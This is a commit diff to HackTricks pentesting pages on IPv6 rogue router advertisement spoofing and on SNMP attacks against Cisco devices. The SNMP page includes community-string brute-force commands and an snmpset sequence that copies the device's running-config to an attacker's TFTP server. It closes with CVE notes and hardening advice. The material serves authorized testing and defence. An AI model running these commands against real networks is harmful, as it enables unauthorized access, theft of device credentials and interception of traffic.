Merge branch 'master' of github.com:HackTricks-wiki/hacktricks

This commit is contained in:
carlospolop 2025-08-20 13:16:52 +02:00
commit d55b3af381
2 changed files with 115 additions and 25 deletions

View File

@ -241,6 +241,35 @@ sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
| Flag | Meaning | Effect on Client Behaviour |
|------|---------|----------------------------|
| **M (Managed Address Configuration)** | When set to `1` the host MUST use **DHCPv6** to obtain its IPv6 address. | Whole addressing comes from DHCPv6 perfect for *mitm6* style poisoning. |
| **O (Other Configuration)** | When set to `1` the host should use **DHCPv6** only to obtain *other* information (DNS, NTP, …). | Address still via SLAAC, but DNS can be hijacked with DHCPv6. |
| **M=0 / O=0** | Pure SLAAC network. | Only RA / RDNSS tricks are possible DHCPv6 wont be sent by clients. |
| **M=1 / O=1** | Mixed environment. | Both DHCPv6 and SLAAC are used; the surface for spoofing is the largest. |
During a pentest you can simply inspect the legitimate RA once and decide which vector is feasible:
```bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
```
Look for the `flags [M,O]` field in the dump no guessing required.
The **Prf** (Router Preference) field inside the RA header controls how attractive your rogue router looks when *multiple* gateways are present:
| Prf value | Binary | Meaning |
|-----------|--------|---------|
| **High** | `10` | Clients prefer this router over any *Medium*/*Low* one |
| Medium (default) | `01` | Used by almost every legitimate device |
| Low | `00` | Chosen only when no better router exists |
When generating the packet with Scapy you can set it through the `prf` parameter as shown above (`prf=0x1` → High). Combining **High Prf**, a **short interval**, and a **non-zero lifetime** makes your rogue gateway remarkably stable.
---
### RDNSS (DNS) Spoofing via RA
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
@ -296,6 +325,7 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
- [RFC 8106 IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,41 +5,101 @@
## Pentesting Cisco Networks
**SNMP** functions over UDP with ports 161/UDP for general messages and 162/UDP for trap messages. This protocol relies on community strings, serving as passwords that enable communication between SNMP agents and servers. These strings are pivotal for they determine access levels, specifically **read-only (RO) or read-write (RW) permissions**. A notable attack vector for pentesters is the **brute-forcing of community strings**, aiming to infiltrate network devices.
**SNMP** functions over UDP with ports **161/UDP** for general messages and **162/UDP** for trap messages. This protocol relies on *community strings*, serving as plaintext "passwords" that enable communication between SNMP agents and managers. These strings determine the access level, specifically **read-only (RO) or read-write (RW) permissions**.
A practical tool for executing such brute-force attacks is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), which necessitates a list of potential community strings and the IP addresses of the targets:
A classic—yet still extremely effective—attack vector is to **brute-force community strings** in order to elevate from unauthenticated user to device administrator (RW community).
A practical tool for this task is [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash
onesixtyone -c communitystrings -i targets
onesixtyone -c community_strings.txt -i targets.txt
```
#### `cisco_config_tftp`
The Metasploit framework features the `cisco_config_tftp` module, facilitating the extraction of device configurations, contingent upon acquiring an RW community string. Essential parameters for this operation include:
- RW community string (**COMMUNITY**)
- Attacker's IP (**LHOST**)
- Target device's IP (**RHOSTS**)
- Destination path for the configuration files (**OUTPUTDIR**)
Upon configuration, this module enables the download of device settings directly to a specified folder.
#### `snmp_enum`
Another Metasploit module, **`snmp_enum`**, specializes in gathering detailed hardware information. It operates with either type of community string and requires the target's IP address for successful execution:
Other fast options are the Nmap NSE script `snmp-brute` or Hydra's SNMP module:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
```
---
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
If you obtain an **RW community** you can copy the running-config/startup-config to a TFTP/FTP server *without CLI access* by abusing the CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Two common approaches are:
1. **Nmap NSE `snmp-ios-config`**
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
The script automatically orchestrates the copy operation and prints the configuration to stdout .
2. **Manual `snmpset` sequence**
```bash
# Copy running-config (4) to a TFTP server (1) random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
Row identifiers are *one-shot*; reuse within five minutes triggers `inconsistentValue` errors.
Once the file is on your TFTP server you can inspect credentials (`enable secret`, `username <user> secret`, etc.) or even push a modified config back to the device.
---
### Metasploit goodies
* **`cisco_config_tftp`** downloads running-config/startup-config via TFTP after abusing the same MIB.
* **`snmp_enum`** collects device inventory information, VLANs, interface descriptions, ARP tables, etc.
```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```
---
## Recent Cisco SNMP vulnerabilities (2023 2025)
Keeping track of vendor advisories is useful to scope *zero-day-to-n-day* opportunities inside an engagement:
| Year | CVE | Affected feature | Impact |
|------|-----|-----------------|--------|
| 2025 | CVE-2025-20174 | SNMP subsystem | Crafted packet leads to authenticated *DoS* (reload) on IOS/IOS-XE (v1/v2c/v3). |
| 2024 | CVE-2024-20373 | IPv4 ACL handling | Mis-configured **extended** ACLs silently *fail*, allowing unauthenticated SNMP polling when a valid community/user is known. |
| 2025 | (no CVE yet) | SNMPv3 configuration restriction bypass | Valid v3 user can poll from addresses that should be denied. |
Exploitability often still depends on possessing the community string or v3 credentials—another reason why brute-forcing them remains relevant.
---
## Hardening & Detection tips
* Upgrade to a fixed IOS/IOS-XE version (see Cisco advisory for the CVE above).
* Prefer **SNMPv3** with `authPriv` (SHA-256/AES-256) over v1/v2c.
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* Bind SNMP to a management VRF and **restrict with *standard* numbered IPv4 ACLs** (extended named ACLs are risky CVE-2024-20373).
* Disable **RW communities**; if operationally required, limit them with ACL and views:
`snmp-server community <string> RW 99 view SysView`
* Monitor for:
- UDP/161 spikes or unexpected sources (SIEM rules).
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` events indicating out-of-band config changes.
* Enable **SNMPv3 logging** and `snmp-server packetsize 1500` to reduce certain DoS vectors.
---
## References
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- Cisco: *How To Copy Configurations To and From Cisco Devices Using SNMP*
- Cisco Security Advisory *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
{{#include ../../banners/hacktricks-training.md}}